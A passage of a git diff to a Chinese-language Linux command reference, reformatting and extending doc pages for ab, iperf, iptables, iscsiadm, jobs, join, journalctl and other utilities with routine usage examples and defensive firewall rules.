more useful + # than the 'gnuplot' file; as the results are already 'binned'. + +-g gnuplot-file + # Write all measured values out as a 'gnuplot' or TSV (Tab separate + # values) file. This file can easily be imported into packages like + # Gnuplot, IDL, Mathematica, Igor or even Excel. The labels are on + # the first line of the file. +-h # 显示使用说明 +-H custom-header + # 向请求包追加附加的标题字串.此参数应该是有效的标题 行(header + # line)形式,通常使用冒号":"来分隔有效配对 (valid pair)例如 'Accept- + # Encoding: zip/zop;8 bit'; + +-i # 使用一个 http 头(HEAD) 来替换 GET方法.不可以掺入POST 方法 + +-k # 允许http KeepAlive ;也就是说执行多个请求在一个 http + # 会话当中,默认是不允许的也就是no KeepAlive啦;) + +-n requests + # 执行一次测试会话的时候所发出的请求数目,默认是执行一个单一的请求 + # 当然了这样的测试结果也就没什么意义了 + +-p POST-file + # 测试程序也就是ab,将向Apache server发送带有HTTP POST 的请求. + +-P proxy-auth-username:password + # 当需要通过代理测试一台 HTTP 服务器的时候而你的代理 + # 又需要用户名密码验证,这时你可以使用这个选项,同样 + # 用户名与密码之间使用冒号":"分隔开,ab将之以明文的方式 + # 发送出去,当然,前提是你的代理是处于407认证状态的 + +-q # When processing more than 150 requests, ab outputs a progress count + # on stderr every 10% or 100 requests or so. The -q flag will sup‐ + # press these messages. + +-s # When compiled in (ab -h will show you) use the SSL protected https + # rather than the http protocol. This feature is experimental and + # very rudimentary. You probably do not want to use it. + +-S # Do not display the median and standard deviation values, nor dis‐ + # play the warning/error messages when the average and median are + # more than one or two times the standard deviation apart. And de‐ + # fault to the min/avg/max values. (legacy support). + +-t timelimit + # 设置测试的时间的长短,使用这个选项ab将自动设置 + # 测试请求会话数目为50000,然后以你设置的时间为 + # 固定周期.默认状态下是没有时限的,也就是直到完成 + # 你所设置的请求数目为止. + +-T content-type + # 内容类型标头,使用在POST数据的时候. + +-v verbosity + # 设置冗余级别,4级打印出每个请求标头的详细信息, + # 3级打印出回应代码(例如,404,200),2级打印出警告 信息和指示消息 + +-V # 显示版本号并且退出 +-w # 打印输出结果到HTML表中. 默认的表是两列n行白底黑框 + +-x -attributes + # 使用字串来描述表的属性,该属性字串应该插入到
+ +-X proxy[:port] + # Use a proxy server for the requests. + +-y -attributes + # 用于生成html表格每行的属性名 () + +-z 服务器端: -``` +```shell iperf -u -s ``` 客户端: -``` +```shell iperf -u -c 192.168.1.1 -b 100M -t 60 ``` 在udp模式下,以100Mbps为数据发送速率,客户端到服务器192.168.1.1上传带宽测试,测试时间为60秒。 -``` +```shell iperf -u -c 192.168.1.1 -b 5M -P 30 -t 60 ``` 客户端同时向服务器端发起30个连接线程,以5Mbps为数据发送速率。 -``` +```shell iperf -u -c 192.168.1.1 -b 100M -d -t 60 ``` @@ -371,29 +136,28 @@ iperf -u -c 192.168.1.1 -b 100M -d -t 60 服务器端: -``` +```shell iperf -s ``` 客户端: -``` +```shell iperf -c 192.168.1.1 -t 60 ``` 在tcp模式下,客户端到服务器192.168.1.1上传带宽测试,测试时间为60秒。 -``` +```shell iperf -c 192.168.1.1 -P 30 -t 60 ``` 客户端同时向服务器端发起30个连接线程。 -``` +```shell iperf -c 192.168.1.1 -d -t 60 ``` 进行上下行带宽测试。 - \ No newline at end of file diff --git a/command/iptables-restore.md b/command/iptables-restore.md index 98caf128503..c29290f679f 100644 --- a/command/iptables-restore.md +++ b/command/iptables-restore.md @@ -1,32 +1,32 @@ iptables-restore === - + 还原iptables表的配置 ## 补充说明 **iptables-restore命令** 用来还原iptables-save命令所备份的iptables配置。 -### 语法 +### 语法 -``` -iptables-restor(选项) +```shell +iptables-restore(选项) ``` -### 选项 +### 选项 -``` +```shell -c:指定在还原iptables表时候,还原当前的数据包计数器和字节计数器的值; -t:指定要还原表的名称。 ``` -### 实例 +### 实例 -``` -iptables-restor < iptables.bak +```shell +iptables-restore < iptables.bak ``` iptables.bak是iptables-save命令所备份的文件。 - \ No newline at end of file + diff --git a/command/iptables-save.md b/command/iptables-save.md index 6b680328bfd..b2b8fde9eca 100644 --- a/command/iptables-save.md +++ b/command/iptables-save.md @@ -1,28 +1,28 @@ iptables-save === - + 备份iptables的表配置 ## 补充说明 **iptables-save命令** 用于将linux内核中的iptables表导出到标准输出设备商,通常,使用shell中I/O重定向功能将其输出保存到指定文件中。 -### 语法 +### 语法 -``` +```shell iptables-save(选项) ``` -### 选项 +### 选项 -``` +```shell -c:指定要保存的iptables表时,保存当权的数据包计算器和字节计数器的值; -t:指定要保存的表的名称。 ``` -### 实例 +### 实例 -``` +```shell [root@localhost ~]# iptables-save -t filter > iptables.bak [root@localhost ~]# cat iptables.bak # Generated by iptables-save v1.3.5 on Thu Dec 26 21:25:15 2013 @@ -40,4 +40,3 @@ COMMIT ``` - \ No newline at end of file diff --git a/command/iptables.md b/command/iptables.md index f408cae0a5b..13b461cbdf8 100644 --- a/command/iptables.md +++ b/command/iptables.md @@ -18,7 +18,7 @@ Linux上常用的防火墙软件 - [防火墙的策略](#防火墙的策略) - [防火墙的策略](#防火墙的策略-1) - [实例](#实例) - - [空当前的所有规则和计数](#空当前的所有规则和计数) + - [清空当前的所有规则和计数](#清空当前的所有规则和计数) - [配置允许ssh端口连接](#配置允许ssh端口连接) - [允许本地回环地址可以正常使用](#允许本地回环地址可以正常使用) - [设置默认的规则](#设置默认的规则) @@ -42,13 +42,13 @@ Linux上常用的防火墙软件 ### 语法 -``` +```shell iptables(选项)(参数) ``` ### 选项 -```bash +```shell -t, --table table 对指定的表 table 进行操作, table 必须是 raw, nat,filter,mangle 中的一个。如果不指定此选项,默认的是 filter 表。 # 通用匹配:源地址目标地址的匹配 @@ -72,7 +72,7 @@ iptables(选项)(参数) -F, --flush [chain] 清空指定链 chain 上面的所有规则。如果没有指定链,清空该表上所有链的所有规则。 -N, --new-chain chain 用指定的名字创建一个新的链。 -X, --delete-chain [chain] :删除指定的链,这个链必须没有被其它任何规则引用,而且这条上必须没有任何规则。如果没有指定链名,则会删除该表中所有非内置的链。 --E, --rename-chain old-chain new-chain :用指定的新名字去重命名指定的链。这并不会对链内部照成任何影响。 +-E, --rename-chain old-chain new-chain :用指定的新名字去重命名指定的链。这并不会对链内部造成任何影响。 -Z, --zero [chain] :把指定链,或者表中的所有链上的所有计数器清零。 -j, --jump target <指定目标> :即满足某条件时该执行什么样的动作。target 可以是内置的目标,比如 ACCEPT,也可以是用户自定义的链。 @@ -99,7 +99,7 @@ iptables(选项)(参数) #### 命令选项输入顺序 -``` +```shell iptables -t 表名 <-A/I/D/R> 规则链名 [规则号] <-i/o 网卡名> -p 协议名 <-s 源IP/源子网> --sport 源端口 <-d 目标IP/目标子网> --dport 目标端口 -j 动作 ``` @@ -109,7 +109,7 @@ iptables -t 表名 <-A/I/D/R> 规则链名 [规则号] <-i/o 网卡名> -p 协 - **INPUT链** :处理输入数据包。 - **OUTPUT链** :处理输出数据包。 -- **PORWARD链** :处理转发数据包。 +- **FORWARD链** :处理转发数据包。 - **PREROUTING链** :用于目标地址转换(DNAT)。 - **POSTOUTING链** :用于源地址转换(SNAT)。 @@ -137,15 +137,12 @@ iptables还支持自己定义链。但是自己定义的链,必须是跟某种 注意:规则的次序非常关键,`谁的规则越严格,应该放的越靠前`,而检查规则的时候,是按照从上往下的方式进行检查的。 -#### 防火墙的策略 - -防火墙策略一般分为两种,一种叫`通`策略,一种叫`堵`策略,通策略,默认门是关着的,必须要定义谁能进。堵策略则是,大门是洞开的,但是你必须有身份认证,否则不能进,`所以通,是要全通,而堵,则是要选择`。 表名包括: - **raw** :高级功能,如:网址过滤。 - **mangle** :数据包修改(QOS),用于实现服务质量。 -- **net** :地址转换,用于网关路由器。 +- **nat** :地址转换,用于网关路由器。 - **filter** :包过滤,用于防火墙规则。 动作包括: @@ -157,8 +154,9 @@ iptables还支持自己定义链。但是自己定义的链,必须是跟某种 - **DNAT** :目标地址转换。 - **MASQUERADE** :IP伪装(NAT),用于ADSL。 - **LOG** :日志记录。 +- **SEMARK** : 添加SEMARK标记以供网域内强制访问控制(MAC) -```bash +```shell ┏╍╍╍╍╍╍╍╍╍╍╍╍╍╍╍┓ ┌───────────────┐ ┃ Network ┃ │ table: filter │ ┗━━━━━━━┳━━━━━━━┛ @@ -194,9 +192,9 @@ iptables还支持自己定义链。但是自己定义的链,必须是跟某种 ### 实例 -#### 空当前的所有规则和计数 +#### 清空当前的所有规则和计数 -```bash +```shell iptables -F # 清空所有的防火墙规则 iptables -X # 删除用户自定义的空链 iptables -Z # 清空计数 @@ -204,14 +202,14 @@ iptables -Z # 清空计数 #### 配置允许ssh端口连接 -```bash +```shell iptables -A INPUT -s 192.168.1.0/24 -p tcp --dport 22 -j ACCEPT # 22为你的ssh端口, -s 192.168.1.0/24表示允许这个网段的机器来连接,其它网段的ip地址是登陆不了你的机器的。 -j ACCEPT表示接受这样的请求 ``` #### 允许本地回环地址可以正常使用 -```bash +```shell iptables -A INPUT -i lo -j ACCEPT #本地圆环地址就是那个127.0.0.1,是本机上使用的,它进与出都设置为允许 iptables -A OUTPUT -o lo -j ACCEPT @@ -219,7 +217,7 @@ iptables -A OUTPUT -o lo -j ACCEPT #### 设置默认的规则 -```bash +```shell iptables -P INPUT DROP # 配置默认的不让进 iptables -P FORWARD DROP # 默认的不允许转发 iptables -P OUTPUT ACCEPT # 默认的可以出去 @@ -227,7 +225,7 @@ iptables -P OUTPUT ACCEPT # 默认的可以出去 #### 配置白名单 -```bash +```shell iptables -A INPUT -p all -s 192.168.1.0/24 -j ACCEPT # 允许机房内网机器可以访问 iptables -A INPUT -p all -s 192.168.140.0/24 -j ACCEPT # 允许机房内网机器可以访问 iptables -A INPUT -p tcp -s 183.121.3.7 --dport 3380 -j ACCEPT # 允许183.121.3.7访问本机的3380端口 @@ -235,7 +233,7 @@ iptables -A INPUT -p tcp -s 183.121.3.7 --dport 3380 -j ACCEPT # 允许183.121.3 #### 开启相应的服务端口 -```bash +```shell iptables -A INPUT -p tcp --dport 80 -j ACCEPT # 开启80端口,因为web对外都是这个端口 iptables -A INPUT -p icmp --icmp-type 8 -j ACCEPT # 允许被ping iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT # 已经建立的连接得让它进来 @@ -243,7 +241,7 @@ iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT # 已经建立 #### 保存规则到配置文件中 -```bash +```shell cp /etc/sysconfig/iptables /etc/sysconfig/iptables.bak # 任何改动之前先备份,请保持这一优秀的习惯 iptables-save > /etc/sysconfig/iptables cat /etc/sysconfig/iptables @@ -257,7 +255,7 @@ cat /etc/sysconfig/iptables - 五个规则链名 `INPUT`、`OUTPUT`、`FORWARD`、`PREROUTING`、`POSTROUTING` - filter表包含`INPUT`、`OUTPUT`、`FORWARD`三个规则链 -```bash +```shell iptables -L -t nat # 列出 nat 上面的所有规则 # ^ -t 参数指定,必须是 raw, nat,filter,mangle 中的一个 iptables -L -t nat --line-numbers # 规则带编号 @@ -268,7 +266,7 @@ iptables -L -nv # 查看,这个列表看起来更详细 #### 清除已有规则 -```bash +```shell iptables -F INPUT # 清空指定链 INPUT 上面的所有规则 iptables -X INPUT # 删除指定的链,这个链必须没有被其它任何规则引用,而且这条上必须没有任何规则。 # 如果没有指定链名,则会删除该表中所有非内置的链。 @@ -277,26 +275,26 @@ iptables -Z INPUT # 把指定链,或者表中的所有链上的所有计数 #### 删除已添加的规则 -```bash +```shell # 添加一条规则 iptables -A INPUT -s 192.168.1.5 -j DROP ``` 将所有iptables以序号标记显示,执行: -``` +```shell iptables -L -n --line-numbers ``` 比如要删除INPUT里序号为8的规则,执行: -```bash +```shell iptables -D INPUT 8 ``` #### 开放指定的端口 -``` +```shell iptables -A INPUT -s 127.0.0.1 -d 127.0.0.1 -j ACCEPT #允许本地回环接口(即运行本机访问本机) iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT #允许已建立的或相关连的通行 iptables -A OUTPUT -j ACCEPT #允许所有本机向外的访问 @@ -310,7 +308,7 @@ iptables -A FORWARD -j REJECT #禁止其他未允许的规则访问 #### 屏蔽IP -``` +```shell iptables -A INPUT -p tcp -m tcp -s 192.168.0.8 -j DROP # 屏蔽恶意主机(比如,192.168.0.8 iptables -I INPUT -s 123.45.6.7 -j DROP #屏蔽单个IP的命令 iptables -I INPUT -s 123.0.0.0/8 -j DROP #封整个段即从123.0.0.1到123.255.255.254的命令 @@ -322,13 +320,13 @@ iptables -I INPUT -s 123.45.6.0/24 -j DROP #封IP段即从123.45.6.1到123.45 只对 OUTPUT,FORWARD,POSTROUTING 三个链起作用。 -```bash +```shell iptables -A FORWARD -o eth0 ``` #### 查看已添加的规则 -``` +```shell iptables -L -n -v Chain INPUT (policy DROP 48106 packets, 2690K bytes) pkts bytes target prot opt in out source destination @@ -350,7 +348,7 @@ Chain OUTPUT (policy ACCEPT 3382K packets, 1819M bytes) 公网`210.14.67.7`让内网`192.168.188.0/24`上网 -```bash +```shell iptables -t nat -A POSTROUTING -s 192.168.188.0/24 -j SNAT --to-source 210.14.67.127 ``` @@ -358,7 +356,7 @@ iptables -t nat -A POSTROUTING -s 192.168.188.0/24 -j SNAT --to-source 210.14.67 本机的 2222 端口映射到内网 虚拟机的22 端口 -```bash +```shell iptables -t nat -A PREROUTING -d 210.14.67.127 -p tcp --dport 2222 -j DNAT --to-dest 192.168.188.115:22 ``` @@ -366,7 +364,7 @@ iptables -t nat -A PREROUTING -d 210.14.67.127 -p tcp --dport 2222 -j DNAT --to 比如,我们要过滤所有TCP连接中的字符串`test`,一旦出现它我们就终止这个连接,我们可以这么做: -```bash +```shell iptables -A INPUT -p tcp -m string --algo kmp --string "test" -j REJECT --reject-with tcp-reset iptables -L @@ -383,16 +381,22 @@ iptables -L #### 阻止Windows蠕虫的攻击 -```bash +```shell iptables -I INPUT -j DROP -p tcp -s 0.0.0.0/0 -m string --algo kmp --string "cmd.exe" ``` #### 防止SYN洪水攻击 -```bash +```shell iptables -A INPUT -p tcp --syn -m limit --limit 5/second -j ACCEPT ``` +#### 添加SECMARK记录 +```shell +iptables -t mangle -A INPUT -p tcp --src 192.168.1.2 --dport 443 -j SECMARK --selctx system_u:object_r:myauth_packet_t +# 向从 192.168.1.2:443 以TCP方式发出到本机的包添加MAC安全上下文 system_u:object_r:myauth_packet_t +``` + ## 更多实例 > 用iptables搭建一套强大的安全防护盾 http://www.imooc.com/learn/389 @@ -466,7 +470,7 @@ nat 转发 防CC攻击 -``` +```shell iptables -L -F -A -D # list flush append delete # 场景一 iptables -I INPUT -p tcp --dport 80 -j ACCEPT # 允许 tcp 80 端口 @@ -515,4 +519,4 @@ iptables -I INPUT -p tcp --syn --dport 80 -m connlimit --connlimit-above 100 -j iptables -I INPUT -m limit --limit 3/hour --limit-burst 10 -j ACCEPT # limit模块; --limit-burst 默认为5 ``` - + diff --git a/command/iptraf.md b/command/iptraf.md index 0200f4e7929..c801ef9bffd 100644 --- a/command/iptraf.md +++ b/command/iptraf.md @@ -1,21 +1,21 @@ iptraf === - + 实时地监视网卡流量 ## 补充说明 **iptraf命令** 可以实时地监视网卡流量,可以生成网络协议数据包信息、以太网信息、网络节点状态和ip校验和错误等信息。 -### 语法 +### 语法 -``` +```shell iptraf(选项) ``` -### 选项 +### 选项 -``` +```shell -i网络接口:立即在指定网络接口上开启IP流量监视; -g:立即开始生成网络接口的概要状态信息; -d网络接口:在指定网络接口上立即开始监视明细的网络流量信息; @@ -29,4 +29,3 @@ iptraf(选项) ``` - \ No newline at end of file diff --git a/command/iptstate.md b/command/iptstate.md index 598b2d57036..184e3e8f287 100644 --- a/command/iptstate.md +++ b/command/iptstate.md @@ -1,21 +1,21 @@ iptstate === - + 显示iptables的工作状态 ## 补充说明 **iptstate命令** 以top指令类似的风格时显示Linux内核中iptables的工作状态。 -### 语法 +### 语法 -``` +```shell iptstate(选项) ``` -### 选项 +### 选项 -``` +```shell -b:指定输出信息的排序规则; -d:不动态地改变窗口大小; -f:过滤本地回送信息; @@ -28,4 +28,3 @@ iptstate(选项) ``` - \ No newline at end of file diff --git a/command/iscsiadm.md b/command/iscsiadm.md new file mode 100644 index 00000000000..642674f8b8f --- /dev/null +++ b/command/iscsiadm.md @@ -0,0 +1,98 @@ +iscsiadm +=== + +管理iSCSI连接 + +## 补充说明 + +**iscsiadm命令** 用于管理 iSCSI(Internet Small Computer System Interface)存储连接。iSCSI 是一种基于网络的存储协议,允许在计算机之间传输块级别的数据。iscsiadm 命令提供了与 iSCSI 存储设备进行连接、配置和管理的功能。 +```shell +yum install iscsi-initiator-utils #安装iscsiadm +/etc/iscsi/initiatorname.iscsi #iscsi启动器名称配置文件位置 +systemctl enable iscsi #设置服务开机启动 +systemctl enable iscsid +systemctl restart iscsi #重启iscsi服务 +systemctl restart iscsid +``` + +## 语法 + +```shell +iscsiadm [选项] <命令> <参数> +``` + +## 选项 + +```shell +-m,--mode # <模式> 指定工作模式,如discovery(发现模式)、node(管理节点)、session(管理会话)、discoverydb、host、iface(管理 iSCSI 网络接口); +-t,--type # 指定类型,如sendtargets (或st)、isns、fw,仅用于discovery模式; +-T,--targetname # 指定目标名称,仅用于node模式; +-p,--portal # 指定目标IP,不带端口默认使用3260,仅用于discovery、node模式; +-l,--login # 登录一个iSCSI设备,仅用于discovery、node模式; +-u,--logout # 退出一个iSCSI设备,仅用于node、session模式; +-I,--interface # 指定用于iSCSI操作的网络接口; +-P,--print # <0-4> 打印详细,用于discovery、node、session模式; +-s,--stats # 查看会话状态 +-h,--help # 显示帮助; +-V,--version # 显示版本信息。 +``` + +## 实例 + +发送iSCSI发现请求,并列出发现的iSCSI设备目标器: + +```shell +[root@Azroy-s1 ~]# iscsiadm -m discovery -t st -p 10.10.10.10 +10.10.10.10:3260,1 iqn.2000-01.com.synology:NAS.default-target.1 +``` + +登录到发现的iSCSI目标器: + +```shell +[root@Azroy-s1 ~]# iscsiadm -m node -T iqn.2000-01.com.synology:NAS.target.1 -p 10.10.10.10 -l +Logging in to [iface: default, target: iqn.2000-01.com.synology:NAS.target.1, portal: 10.10.10.10,3260] (multiple) +Login to [iface: default, target: iqn.2000-01.com.synology:NAS.target.1, portal: 10.10.10.10,3260] successful. +``` + +查看已登录的设备: + +```shell +[root@Azroy-s1 ~]# iscsiadm -m session +tcp: [3] 10.10.10.10:3260,1 iqn.2000-01.com.synology:NAS.target.1 (non-flash) +``` + +退出已登录的设备: + +```shell +[root@Azroy-s1 ~]# iscsiadm -m node -T iqn.2000-01.com.synology:NAS.target.1 -p 10.10.10.10 -u +Logging out of session [sid: 11, target: iqn.2000-01.com.synology:NAS.target.1, portal: 10.10.10.10,3260] +或 +[root@Azroy-s1 ~]# iscsiadm -m session -u #退出所有iscsi会话 +``` + +使用lsblk或fdisk查看硬盘,对硬盘分区再格式化后可挂载目录 + +```shell +[root@Azroy-s1 ~]# lsblk +NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT +sda 8:0 0 1.8T 0 disk +├─sda1 8:1 0 1G 0 part /boot +└─sda2 8:2 0 1.8T 0 part + ├─centos-root 253:0 0 1.8T 0 lvm / + └─centos-swap 253:1 0 5.9G 0 lvm [SWAP] +sdb 8:32 0 10G 0 disk + +[root@Azroy-s1 ~]# lsblk -S /dev/sd* #可以查看硬盘传输类型 +NAME HCTL TYPE VENDOR MODEL REV TRAN +sda 0:1:0:0 disk HP LOGICAL VOLUME 3.00 sas +sdb 12:0:0:1 disk SYNOLOGY Storage 4.0 iscsi + +[root@Azroy-s1 ~]# fdisk -l /dev/sdb +磁盘 /dev/sdb:10.7 GB, 10737418240 字节,20971520 个扇区 +Units = 扇区 of 1 * 512 = 512 bytes +扇区大小(逻辑/物理):512 字节 / 512 字节 +I/O 大小(最小/最佳):512 字节 / 512 字节 +``` + + + diff --git a/command/ispell.md b/command/ispell.md index eb40f6d27df..7db3f01a133 100644 --- a/command/ispell.md +++ b/command/ispell.md @@ -1,21 +1,20 @@ ispell === - + 检查文件中出现的拼写错误 ## 补充说明 **ispell命令** 用于检查文件中出现的拼写错误。 -### 语法 +### 语法 -``` +```shell ispell(参数) ``` -### 参数 +### 参数 文件:指定要进行拼写检查的文件。 - \ No newline at end of file diff --git a/command/jed.md b/command/jed.md index c543bf181e0..47983ff6e5b 100644 --- a/command/jed.md +++ b/command/jed.md @@ -1,21 +1,21 @@ jed === - + 主要用于编辑代码的编辑器 ## 补充说明 **jed命令** 是由Slang所开发,其主要用用途是编辑程序的源代码。它支持彩色语法加亮显示,可以模拟emacs,EDT,wordstar和Brief编辑器。 -### 语法 +### 语法 -``` +```shell jed(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -2:显示上下两个编辑区; -batch:以批处理模式来执行; -f<函数>:执行Slang函数; @@ -25,15 +25,15 @@ jed(选项)(参数) -s<字符串>:查找并移到指定的字符串。 ``` -### 参数 +### 参数 文件:指定待编辑的文件列表。 -### 实例 +### 实例 以上下两个编辑区的方式,开启 mysource.c 原始代码文件。若要切换编辑区,可利用稍后介绍的命令,开启操作命令,开启功能表后,按 3 ,再按 2 ,即可切换编辑区: -``` +```shell jed -2 mysource.c ``` @@ -41,7 +41,7 @@ jed -2 mysource.c 有些Emacs的组合键和jed菜单组合键冲突例如Alt+f在Emacs中应该是“前进一个单词”,而在jed中则是“文件菜单” 想使用Emacs风格的组合键的话,编辑`/usr/share/jed/lib/menus.slc`找到如下段落: -``` +```shell unsetsetkey ("selectmenubar", "\em"); unsetsetkey ("@\emF", "\ef"); unsetsetkey ("@\emE", "\ee"); @@ -59,7 +59,7 @@ unset_setkey ("@\emy", "\ey"); **文件** -``` +```shell /usr/share/jed/lib/*.sl 这是默认的运行jed slang的文件。 /usr/share/jed/lib/site.sl 这是默认的启动文件。 /etc/jed.rc 这是全局系统配置文件。 @@ -67,4 +67,3 @@ unset_setkey ("@\emy", "\ey"); ``` - \ No newline at end of file diff --git a/command/jobs.md b/command/jobs.md index 8abd008bba7..5ffbb6e7406 100644 --- a/command/jobs.md +++ b/command/jobs.md @@ -1,51 +1,79 @@ jobs === - -显示Linux中的任务列表及任务状态 -## 补充说明 +显示作业的状态。 -**jobs命令** 用于显示Linux中的任务列表及任务状态,包括后台运行的任务。该命令可以显示任务号及其对应的进程号。其中,任务号是以普通用户的角度进行的,而进程号则是从系统管理员的角度来看的。一个任务可以对应于一个或者多个进程号。 +## 概要 -在Linux系统中执行某些操作时候,有时需要将当前任务暂停调至后台,或有时须将后台暂停的任务重启开启并调至前台,这一序列的操作将会使用到 jobs、bg、和 fg 三个命令以及两个快捷键来完成。 +```shell +jobs [-lnprs] [jobspec ...] +jobs -x command [args] +``` -### 语法 +## 主要用途 -``` -jobs(选项)(参数) -``` +- 显示作业的状态。 +- 列出活动的作业。 +- 列出停止的作业。 -### 选项 +## 选项 -``` --l:显示进程号; --p:仅任务对应的显示进程号; --n:显示任务状态的变化; --r:仅输出运行状态(running)的任务; --s:仅输出停止状态(stoped)的任务。 +```shell +-l 在作业信息中额外的列出PID。 +-n 只列出最近一次通知以来状态变更的作业。 +-p 只列出PID。 +-r 只输出处于运行状态的作业。 +-s 只输出处于停止状态的作业。 ``` -### 参数 +## 返回值 -任务标识号:指定要显示的任务识别号。 +返回状态为成功除非给出了非法选项、执行出现错误。 -### 实例 +如果使用`jobs -x command [args]`形式执行,那么返回值为`command`的退出状态。 -使用jobs命令显示当前系统的任务列表,输入如下命令: +## 例子 -``` -jobs -l #显示当前系统的任务列表 -``` +```shell +[user2@pc] ssh 192.168.1.4 +pc@192.168.1.4's password: +# 此时按下ctrl+z使得交互停止。 +[1]+ Stopped ssh 192.168.1.4 -上面的命令执行后,将显示出当前系统下的任务列表信息,具体如下所示: +[user2@pc] sleep 60 & +[2] 13338 -``` -[1] + 1903 运行中 find / -name password & +[user2@pc] jobs +[1]- Stopped ssh 192.168.1.4 +[2] Running sleep 60 & + +[user2@pc] jobs -l +[1]- 12927 Stopped ssh 192.168.1.4 +[2] 13338 Running sleep 60 & + +[user2@pc] jobs -p +12927 +13338 + +[user2@pc] jobs -s +[1]- Stopped ssh 192.168.1.4 + +[user2@pc] jobs -r +[2] Running sleep 60 & + +[user2@pc] kill -9 12927 +[2] Done sleep 60 + +[user2@pc] jobs -n -l +[1]+ 12927 Killed ssh 192.168.1.4 + +[user2@pc] jobs -n -l ``` -注意:要得到以上输出信息,必须在执行jobs命令之前执行命令`find / -name password &`。否则,执行jobs命令不会显示任何信息。 +### 注意 -其中,输出信息的第一列表示任务编号,第二列表示任务所对应的进程号,第三列表示任务的运行状态,第四列表示启动任务的命令。 +1. `bash`的作业控制命令包括`bg fg kill wait disown suspend`。 +2. 该命令需要`set`选项`monitor`处于开启状态时才能执行;查看作业控制状态:输入`set -o`查看`monitor`行;执行`set -o monitor`或`set -m`开启该选项。 +3. 该命令是bash内建命令,相关的帮助信息请查看`help`命令。 - \ No newline at end of file diff --git a/command/joe.md b/command/joe.md index 0e2ce32b6e8..6c78be9ef81 100644 --- a/command/joe.md +++ b/command/joe.md @@ -1,21 +1,21 @@ joe === - + 强大的纯文本编辑器 ## 补充说明 **joe命令** 是一款功能强大的纯文本编辑器,拥有众多编写程序和文本的优良特性。 -### 语法 +### 语法 -``` +```shell joe(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -force:强制在最后一行的结尾处加上换行符号; -lines<行数>:设置行数; -lightoff:选取的区块在执行完区块命令后,就会恢复成原来的状态; @@ -40,9 +40,8 @@ joe(选项)(参数) -skiptop<行数>:不使用屏幕上方指定的行数。 ``` -### 参数 +### 参数 文件:指定要编辑的文件。 - \ No newline at end of file diff --git a/command/join.md b/command/join.md index 70ceecb2bf9..50fdccdadd4 100644 --- a/command/join.md +++ b/command/join.md @@ -1,21 +1,21 @@ join === - + 两个文件中指定栏位内容相同的行连接起来 ## 补充说明 **join命令** 用来将两个文件中,制定栏位内容相同的行连接起来。找出两个文件中,指定栏位内容相同的行,并加以合并,再输出到标准输出设备。 -### 语法 +### 语法 -``` +```shell join(选项)(参数) ``` -### 选项 +### 选项 -``` +```shell -a<1或2>:除了显示原来的输出内容之外,还显示指令文件中没有相同栏位的行; -e<字符串>:若[文件1]与[文件2]中找不到指定的栏位,则在输出中填入选项中的字符串; -i或--ignore-case:比较栏位内容时,忽略大小写的差异; @@ -26,10 +26,38 @@ join(选项)(参数) -2<栏位>:连接[文件2]指定的栏位。 ``` -### 参数 +### 参数 * 文件1:要进行合并操作的第1个文件参数; * 文件2:要进行合并操作的第2个文件参数。 +### 常见用法 + +把两个文件制定栏位内容相同的行连接起来: + +```shell +[root@localhost ~]# cat name +1 xiaoming +2 xiaowang +3 xiaoliu +[root@localhost ~]# cat city +1 beijing beijing +2 hubei wuhan +3 hunan changsha + +# city文件在后,则拼接在后,如果city文件在前,则name文件拼接在后。 +[root@localhost ~]# join name city +1 xiaoming beijing beijing +2 xiaowang hubei wuhan +3 xiaoliu hunan changsha +``` + +把两个文件指定列拼接起来: - \ No newline at end of file +```shell +# 把name文件的第2列和city文件的第3列拼接起来 +[root@localhost ~]# join -o 1.2 2.3 name city +xiaoming beijing +xiaowang wuhan +xiaoliu changsha +``` diff --git a/command/journalctl.md b/command/journalctl.md new file mode 100644 index 00000000000..e87fcb51040 --- /dev/null +++ b/command/journalctl.md @@ -0,0 +1,155 @@ +journalctl +=== + +检索 systemd 日志,是 CentOS 7 才有的工具。 + +### 语法 + +```shell +journalctl [OPTIONS...] [MATCHES...] +``` + +### 选项 + +```shell +Flags: + --system # 显示系统日志 + --user # 显示当前用户的用户日志 +-M --machine=CONTAINER # 在本地容器上操作 +-S --since=DATE # 显示不早于指定日期的条目 +-U --until=DATE # 显示不晚于指定日期的条目 +-c --cursor=CURSOR # 显示从指定光标开始的条目 + --after-cursor=CURSOR # 在指定光标后显示条目 + --show-cursor # 在所有条目之后打印光标 +-b --boot[=ID] # 显示当前启动或指定启动 + --list-boots # 显示有关已记录引导的简洁信息 +-k --dmesg # 显示当前启动的内核消息日志 +-u --unit=UNIT # 显示指定单元的日志 +-t --identifier=STRING # 显示具有指定系统日志标识符的条目 +-p --priority=RANGE # 显示具有指定优先级的条目 +-e --pager-end # 在pager中立即跳转到末尾 +-f --follow # 关注期刊 +-n --lines[=INTEGER] # 要显示的日志条目数 + --no-tail # 显示所有行,即使在跟随模式下 +-r --reverse # 首先显示最新的条目 +-o --output=STRING # 更改日志输出模式 (short, short-iso, + short-precise, short-monotonic, verbose, + export, json, json-pretty, json-sse, cat) +--utc # 以协调世界时 (UTC) 表示的时间 +-x --catalog # 在可用的情况下添加消息说明 + --no-full # Ellipsize 字段 +-a --all # 显示所有字段,包括长的和不可打印的 +-q --quiet # 不显示特权警告 + --no-pager # 不要将输出通过管道传输到寻呼机 +-m --merge # 显示所有可用期刊的条目 +-D --directory=PATH # 显示目录中的日志文件 + --file=PATH # 显示日志文件 + --root=ROOT # 对根目录下的目录文件进行操作 + --interval=TIME # 更改 FSS 密封键的时间间隔 + --verify-key=KEY # 指定FSS验证密钥 + --force # 使用 --setup-keys 覆盖 FSS 密钥对 + +Commands: +-h --help # 显示此帮助文本 + --version # 显示包版本 +-F --field=FIELD # 列出指定字段的所有值 + --new-id128 # 生成新的 128 位 ID + --disk-usage # 显示所有日志文件的总磁盘使用情况 + --vacuum-size=BYTES # 将磁盘使用量减少到指定大小以下 + --vacuum-time=TIME # 删除早于指定日期的日志文件 + --flush # 将所有日志数据从 /run 刷新到 /var + --header # 显示期刊头信息 + --list-catalog # 显示目录中的所有消息 ID + --dump-catalog # 在消息目录中显示条目 + --update-catalog # 更新消息目录数据库 + --setup-keys # 生成新的 FSS 密钥对 + --verify # 验证日志文件的一致性 +``` + +### 实例 + +**过滤输出** + +`journalctl` 